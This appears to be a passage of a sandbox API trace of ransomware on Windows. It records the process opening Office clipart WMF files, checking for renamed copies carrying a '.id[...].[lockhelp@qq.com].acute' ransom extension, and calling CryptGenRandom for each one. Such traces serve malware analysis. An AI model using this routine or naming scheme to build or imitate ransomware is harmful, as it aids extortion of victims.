(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0274.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.909] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.909] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=12482) returned 1 [0274.909] CloseHandle (hObject=0x30c) returned 1 [0274.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0274.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.910] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.910] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2556) returned 1 [0274.910] CloseHandle (hObject=0x30c) returned 1 [0274.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0274.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.911] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.911] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5752) returned 1 [0274.911] CloseHandle (hObject=0x30c) returned 1 [0274.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0274.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.911] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.912] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2644) returned 1 [0274.912] CloseHandle (hObject=0x30c) returned 1 [0274.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0274.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.912] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.912] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5272) returned 1 [0274.912] CloseHandle (hObject=0x30c) returned 1 [0274.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0274.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.912] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.914] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3016) returned 1 [0274.914] CloseHandle (hObject=0x30c) returned 1 [0274.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0274.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.914] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.914] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3780) returned 1 [0274.914] CloseHandle (hObject=0x30c) returned 1 [0274.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0274.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.914] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.915] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4164) returned 1 [0274.915] CloseHandle (hObject=0x30c) returned 1 [0274.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0274.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.915] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.915] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=812) returned 1 [0274.915] CloseHandle (hObject=0x30c) returned 1 [0274.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0274.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.915] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.916] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=13102) returned 1 [0274.916] CloseHandle (hObject=0x30c) returned 1 [0274.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0274.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.917] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.917] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=27050) returned 1 [0274.917] CloseHandle (hObject=0x30c) returned 1 [0274.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0274.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.917] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.917] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=6996) returned 1 [0274.917] CloseHandle (hObject=0x30c) returned 1 [0274.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0274.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.918] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.918] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=9590) returned 1 [0274.918] CloseHandle (hObject=0x30c) returned 1 [0274.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0274.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.918] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.918] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=27552) returned 1 [0274.918] CloseHandle (hObject=0x30c) returned 1 [0274.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0274.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.919] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.919] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=11500) returned 1 [0274.919] CloseHandle (hObject=0x30c) returned 1 [0274.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0274.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.919] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.049] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4408) returned 1 [0275.049] CloseHandle (hObject=0x308) returned 1 [0275.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0275.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.050] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.050] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=29212) returned 1 [0275.050] CloseHandle 